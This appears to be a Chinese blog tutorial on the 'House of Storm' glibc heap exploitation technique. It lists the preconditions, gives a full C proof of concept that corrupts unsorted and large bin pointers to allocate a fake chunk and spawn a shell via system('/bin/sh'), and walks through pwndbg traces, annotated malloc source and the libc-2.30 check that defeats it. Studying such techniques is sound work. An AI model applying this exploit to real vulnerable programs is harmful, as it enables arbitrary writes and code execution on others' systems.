0%

House Of Storm-原理

House Of Storm

House Of Storm 是一种结合了 unsortedbin attackLargebin attack 的攻击技术,其基本原理和 Largebin attack 类似

House Of Storm 可以在任意地址写出chunk地址,进而把这个地址的高位当作size,可以进行任意地址分配chunk,也就是可以造成任意地址写的后果,危害十分之大,但是其条件也是非常的苛刻


House Of Storm 利用姿势

House Of Storm 利用条件:

  • libc版本小于libc-2.30(因为libc-2.30之后加入了检查)
  • 需要攻击者在 largebinunsortedbin 中分别布置一个chunk,这两个chunk需要在归位之后处于同一个 largebin 的index中,且 unsortedbin 中的chunk要比 largebin 中的大
  • 需要 unsorted_bin 中的 bk指针 可控
  • 需要 largebin 中的 bk指针和bk_nextsize 指针可控

相较于 Largebin attack 来说,攻击需要的条件多出了一条 “unsorted bin中的bk指针可控” ,但是基本上程序如果 Largebin attack 条件满足,基本代表存在UAF漏洞,那么多控制一个bk指针应该也不是什么难事

House Of Storm 利用姿势:

  • 利用 large bin attack 分别错位写一个size和bk的地址,size错位写了0x56(由于pie的原因,chunk的地址总是为6字节,但是头部地址可能是0x55或者0x56,这里需要0x56才能成功,因为malloc后会进行检测)
  • 以下检测需要满足的要求,只需满足一条即可:
1
2
3
4
assert(!victim || chunk_is_mmapped(mem2chunk(victim)) || ar_ptr == arena_for_chunk(mem2chunk(victim)));
/* 1. victim 为 0 */
/* 2. IS_MMAPPED 为 1 */
/* 3. NON_MAIN_ARENA 为 0 */
  • 利用 unsorted bin attack 在FD的位置写一个main_arena + 88的地址,从而绕过了检测

House Of Storm 从根本上也是写堆地址,但是攻击者可以利用巧妙的构造 把这个堆地址伪造成size字段 ,基于这个size字段,就可以展开 unsortedbin attack 了

伪造案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
struct {
unsigned long presize;
unsigned long size;
unsigned long fd;
unsigned long bk;
unsigned long fd_nextsize;
unsigned long bk_nextsize;
}chunk;

int main()
{
unsigned long *large_chunk,*unsorted_chunk;
unsigned long *fake_chunk = (unsigned long *)&chunk;
char *ptr;

unsorted_chunk=malloc(0x418);
malloc(0X20);
large_chunk=malloc(0x408);
malloc(0x20);

free(large_chunk);
free(unsorted_chunk);
unsorted_chunk=malloc(0x418); //large_chunk归位
free(unsorted_chunk); // unsorted_chunk归位

unsorted_chunk[1] = (unsigned long )fake_chunk;
large_chunk[1] = (unsigned long )fake_chunk+8;
large_chunk[3] = (unsigned long )fake_chunk-0x18-5;

ptr=malloc(0x48);
strncpy(ptr, "/bin/sh\x00", 0x10);
system(((char *)fake_chunk + 0x10));

return 0;
}
1
2
3
4
5
6
7
➜  桌面 ./test
[1] 5082 segmentation fault ./test
➜ 桌面 ./test
[1] 5088 segmentation fault ./test
➜ 桌面 ./test
$ whoami
yhellow

接下来进行单步调试:

  • 基本操作执行完毕后:
1
2
3
4
unsortedbin
all: 0x55555555a000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x55555555a000
largebins
0x400: 0x55555555a450 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x55555555a450
  • 看一下“unsorted_chunk”和“large_chunk”中的数据:
1
2
3
4
pwndbg> x/20xg 0x55555555a000 /* unsorted_chunk */
0x55555555a000: 0x0000000000000000 0x0000000000000421
0x55555555a010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 /* main_arena */
0x55555555a020: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
pwndbg> x/20xg 0x55555555a450 /* large_chunk */
0x55555555a450: 0x0000000000000000 0x0000000000000411
0x55555555a460: 0x00007ffff7dd1f68 0x00007ffff7dd1f68 /* main_arena */
0x55555555a470: 0x000055555555a450 0x000055555555a450 /* large_chunk(指向自身) */
0x55555555a480: 0x0000000000000000 0x0000000000000000
  • 修改完成后:
1
2
3
4
pwndbg> x/20xg 0x55555555a000 /* unsorted_chunk */
0x55555555a000: 0x0000000000000000 0x0000000000000421
0x55555555a010: 0x00007ffff7dd1b78 0x0000555555558040 /* fake_chunk */
0x55555555a020: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
pwndbg> x/20xg 0x55555555a450 /* large_chunk */
0x55555555a450: 0x0000000000000000 0x0000000000000411
0x55555555a460: 0x00007ffff7dd1f68 0x0000555555558048 /* fake_chunk+8 */
0x55555555a470: 0x000055555555a450 0x0000555555558023 /* fake_chunk-0x18-5 */
0x55555555a480: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
6
7
8
unsortedbin
all [corrupted] /* GDB显示出错了 */
FD: 0x55555555a000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x55555555a000
BK: 0x55555555a000 —▸ 0x555555558040 (chunk) ◂— 0x0 /* fake_chunk */
largebins
0x400 [corrupted]
FD: 0x55555555a450 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x55555555a450
BK: 0x55555555a450 —▸ 0x555555558048 (chunk+8) ◂— 0x0
  • 发现 fake_chunk 被链入 unsortedbin ,而且是第一个
  • 正常申请是肯定会报错的,因为程序从 unsortedbin 中申请 fake_chunk 时通不过检查

但是程序却可能不报错,为什么会这样呢?这一点需要在源码中查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/* fwd => 最终为victim的上一个chunk(其实就是largebin chunk)*/
/* bck => 最终为victim的下一个chunk */
/* victim => 即将进入largebin的unsortedbin chunk */

/* fwd->bk => fake_chunk+8 */
/* fwd->bk_nextsize => fake_chunk-0x18-5 */

else /* victim将成为新的纵向链表头 */
{
victim->fd_nextsize = fwd;
/* unsorted_bin->fd_nextsize=large_bin */
victim->bk_nextsize = fwd->bk_nextsize;
/* unsorted_bin->bk_nextsize=fake_chunk-0x18-5 */
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
/* (fake_chunk-0x18-5)=unsorted_bin */
victim->bk_nextsize->fd_nextsize = victim;
/* (fake_chunk-0x18-5)+0x18=victim */
}
bck = fwd->bk;
/* bck=fake_chunk+8 */
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
......
mark_bin (av, victim_index);

victim->bk=bck;
/* unsorted_bin->bk=fake_chunk+8 */
victim->fd = fwd;
/* unsorted_bin->fd=large_bin */
fwd->bk = victim;
/* fake_chunk+8=victim */
bck->fd = victim;
/* (fake_chunk+8)-8=victim */

其实这就是 largebin attack 的作用了,最关键的一步是:

1
2
    victim->bk_nextsize->fd_nextsize = victim;
/* (fake_chunk-0x18-5)+0x18=victim */

其实就是在 fake_chunk-5 中写入了 victim

  • 如果在程序开启PIE的情况下,堆地址的开头通常是0x55或者0x56开头,且我们的堆地址永远都是6个字节,减去5个字节,剩下的就是0x55(或0x56)了
  • 如果提前5个字节开始写堆地址,那么伪造在 size字段 上面的就正好是0x55

也就是说,链入 unsortedbin 的 fake_chunk 的 size字段 是可能为0x56的,而0x56刚好可以通过 unsortedbin 的检查(注意:size字段 如果为“0x55”,那么P位就是“1”,通不过检查)

接下来程序就会申请到 fake_chunk ,然后在其中写入“/bin/sh”,作为system的参数

版本对 House Of Storm 的影响

libc-2.30

1
2
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");

有点类似于 unlink 的检查(检查目标chunk的上一个chunk的下一个chunk,是不是目标chunk)

由于 House Of Storm 会修改 fwd->bk_nextsize ,所以检查不通过,导致 House Of Storm 失效